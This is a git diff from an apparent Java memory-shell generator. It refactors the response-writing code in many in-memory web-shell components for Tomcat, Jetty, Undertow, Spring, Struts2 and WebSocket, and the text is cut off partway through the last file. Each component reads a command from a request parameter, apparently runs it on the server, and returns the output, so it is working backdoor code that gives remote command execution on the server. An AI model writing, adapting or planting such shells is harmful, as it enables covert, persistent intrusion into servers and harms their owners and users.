diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java
index 5ae8626e..ee1e0e36 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java
@@ -27,6 +27,8 @@ public class Command {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+ outputStream.flush();
+ outputStream.close();
return true;
}
} catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java
index 83bb6263..0fd14c53 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java
@@ -7,6 +7,7 @@ import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
+import java.util.Scanner;
/**
* @author ReaJason
@@ -24,12 +25,9 @@ public class CommandControllerHandler implements Controller {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
- ServletOutputStream outputStream = response.getOutputStream();
- byte[] buf = new byte[8192];
- int length;
- while ((length = inputStream.read(buf)) != -1) {
- outputStream.write(buf, 0, length);
- }
+ response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+ response.getWriter().flush();
+ response.getWriter().close();
}
} catch (Throwable e) {
e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
index 4a1cc167..030c64ce 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
@@ -5,6 +5,7 @@ import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
+import java.util.Scanner;
/**
* @author ReaJason
@@ -25,12 +26,9 @@ public class CommandFilter implements Filter {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
- ServletOutputStream outputStream = servletResponse.getOutputStream();
- byte[] buf = new byte[8192];
- int length;
- while ((length = inputStream.read(buf)) != -1) {
- outputStream.write(buf, 0, length);
- }
+ response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+ response.getWriter().flush();
+ response.getWriter().close();
return;
}
} catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java
index 6f00a08b..943cbafe 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java
@@ -26,6 +26,8 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+ response.getWriter().flush();
+ response.getWriter().close();
return false;
}
} catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java
index 5037f4e8..2a65eaf9 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java
@@ -43,6 +43,8 @@ public class CommandJettyAgentHandler {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+ outputStream.flush();
+ outputStream.close();
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java
index 8595f9c1..a37877b5 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java
@@ -32,6 +32,8 @@ public class CommandJettyCustomizer implements HttpConfiguration.Customizer {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+ outputStream.flush();
+ outputStream.close();
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
}
} catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java
index 78beb225..42a9b50f 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java
@@ -40,6 +40,8 @@ public class CommandJettyHandler {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+ outputStream.flush();
+ outputStream.close();
return true;
}
} catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
index bd6fde1a..0ab2430f 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
@@ -6,6 +6,7 @@ import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
+import java.util.Scanner;
/**
* @author ReaJason
@@ -23,14 +24,11 @@ public class CommandListener implements ServletRequestListener {
}
if (p != null) {
String param = getParam(p);
- HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request);
+ HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
InputStream inputStream = getInputStream(param);
- ServletOutputStream outputStream = servletResponse.getOutputStream();
- byte[] buf = new byte[8192];
- int length;
- while ((length = inputStream.read(buf)) != -1) {
- outputStream.write(buf, 0, length);
- }
+ response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+ response.getWriter().flush();
+ response.getWriter().close();
}
} catch (Throwable e) {
e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
index 55be5b40..af225cdf 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
@@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
+import java.util.Scanner;
/**
* @author ReaJason
@@ -30,12 +31,9 @@ public class CommandServlet extends HttpServlet {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
- ServletOutputStream outputStream = response.getOutputStream();
- byte[] buf = new byte[8192];
- int length;
- while ((length = inputStream.read(buf)) != -1) {
- outputStream.write(buf, 0, length);
- }
+ response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+ response.getWriter().flush();
+ response.getWriter().close();
}
} catch (Throwable e) {
e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java
index 8505e2e8..9928c236 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java
@@ -29,6 +29,7 @@ public class CommandStruct2Action {
InputStream inputStream = getInputStream(param);
response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
+ response.getWriter().close();
}
} catch (Throwable ignored) {
}
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java
index 2bc459d9..30784641 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java
@@ -32,6 +32,8 @@ public class CommandUndertowServletHandler {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+ outputStream.flush();
+ outputStream.close();
return true;
}
} catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java
index 5632405c..f036150f 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java
@@ -35,7 +35,7 @@ public class CommandUpgrade implements UpgradeProtocol {
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
- inputStream.close();
+ outputStream.close();
return true;
}
} catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
index ca73dc8f..b77fbf15 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
@@ -26,6 +26,8 @@ public class CommandValve implements Valve {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+ response.getWriter().flush();
+ response.getWriter().close();
return;
}
} catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java
index 2e2008a8..2b94fd58 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java
@@ -6,6 +6,7 @@ import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
+import java.util.Scanner;
/**
* wsMemShell
@@ -21,13 +22,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole